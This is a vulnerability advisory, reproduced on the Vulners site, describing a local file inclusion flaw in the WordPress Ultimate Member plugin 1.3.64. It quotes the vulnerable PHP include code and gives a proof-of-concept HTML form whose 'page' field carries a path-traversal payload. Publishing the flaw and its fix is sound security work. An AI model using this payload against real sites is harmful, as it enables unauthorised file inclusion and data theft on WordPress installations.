Vulners
Lucene search
WordPress Ultimate Member 1.3.64 Local File Inclusion
`------------------------------------------------------------------------
Ultimate Member Local File Inclusion vulnerability
------------------------------------------------------------------------
Burak Kelebek, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that Ultimate Member is vulnerable to PHP File
Inclusion. An authenticated attacker can exploit this issue to
compromise WordPress, for example by retrieving sensitive data from
local PHP files.
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the Ultimate Member WordPress
plugin version 1.3.64.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is a fix available in Pre-released version: pre-v1.3.65.10. After
the fix is applied user input is no more used when including local files
in WordPress.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
The vulnerability occurs due to the use of user-supplied input in the 'page' parameter without proper validation.
The code first checks if 'ultimatemember-' exists in page parameter supplied by user. If it exists it deletes 'ultimatemember-' and assigns user input to the template parameter. Lastly it inserts user input in the PHP function include_once.
ultimate-member/admin/core/um-admin-dashboard.php:
$page = $_REQUEST['page'];
[..]
else if ( strstr( $page, 'ultimatemember-' ) ) {
$template = str_replace('ultimatemember-','',$page);
$file = um_path . 'admin/templates/welcome/'. $template . '.php';
if ( file_exists( $file ) ){
include_once um_path . 'admin/templates/welcome/'. $template . '.php';
}
}
Proof of concept
Proof of Concept below simply opens a file in the temp folder of WordPress.
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=ultimatemember" method="POST">
<input type="hidden" name="page" value="ultimatemember-../../../../../uploads/ultimatemember/temp/dZm2Sr1IbnIy4Ikn3FbWdMlOh2wCzDu3KunD4tIk/stream_photo_697d3db4eba7e7254670210e3c095022_5779a47985512" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2016 00:00Current
7.4High risk
Vulners AI Score7.4